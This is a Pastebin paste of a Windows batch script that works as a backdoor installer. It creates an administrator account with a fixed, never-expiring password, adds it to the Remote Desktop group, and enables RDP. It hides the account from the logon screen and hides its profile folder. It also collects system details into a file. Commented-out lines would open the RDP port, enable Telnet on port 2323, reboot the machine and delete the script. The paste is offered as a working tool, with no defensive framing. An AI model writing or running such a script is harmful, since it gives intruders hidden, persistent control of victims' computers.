Advertisement
Guest User

Untitled

a guest
Mar 24th, 2016
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. @echo off
  2. set user=ASPNETS
  3. set pass=Pass123
  4.  
  5. set AdmGroupSID=S-1-5-32-544
  6. set AdmGroup=
  7. For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="`) Do set AdmGroup=%%J
  8. set AdmGroup=%AdmGroup:~0,-1%
  9. net user %user% %pass% /add /active:"yes" /expires:"never" /passwordchg:"NO"
  10. net localgroup %AdmGroup% %user% /add
  11. set RDPGroupSID=S-1-5-32-555
  12. set RDPGroup=
  13. For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="`) Do set RDPGroup=%%J
  14. set RDPGroup=%RDPGroup:~0,-1%
  15. net localgroup "%RDPGroup%" %user% /add
  16. net accounts /forcelogoff:no /maxpwage:unlimited
  17. reg add "HKLM\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
  18. reg add "HKLM\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
  19. reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %user% /t REG_DWORD /d "00000000" /f
  20.  
  21. attrib %systemdrive%\users\%user% +r +a +s +h
  22.  
  23. dxdiag /whql:off /t c:\systeminfo.txt
  24. systeminfo >> c:\systeminfo.txt
  25. ipconfig >> c:\systeminfo.txt
  26.  
  27. ::netsh firewall add portopening TCP 3389 "Remote Desktop"
  28. ::sc config tlntsvr start=auto
  29. ::tlntadmn config port=2323 sec=-NTLM
  30. ::net start Telnet
  31. ::shutdown.exe -r -t 00 -f
  32. ::del %0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement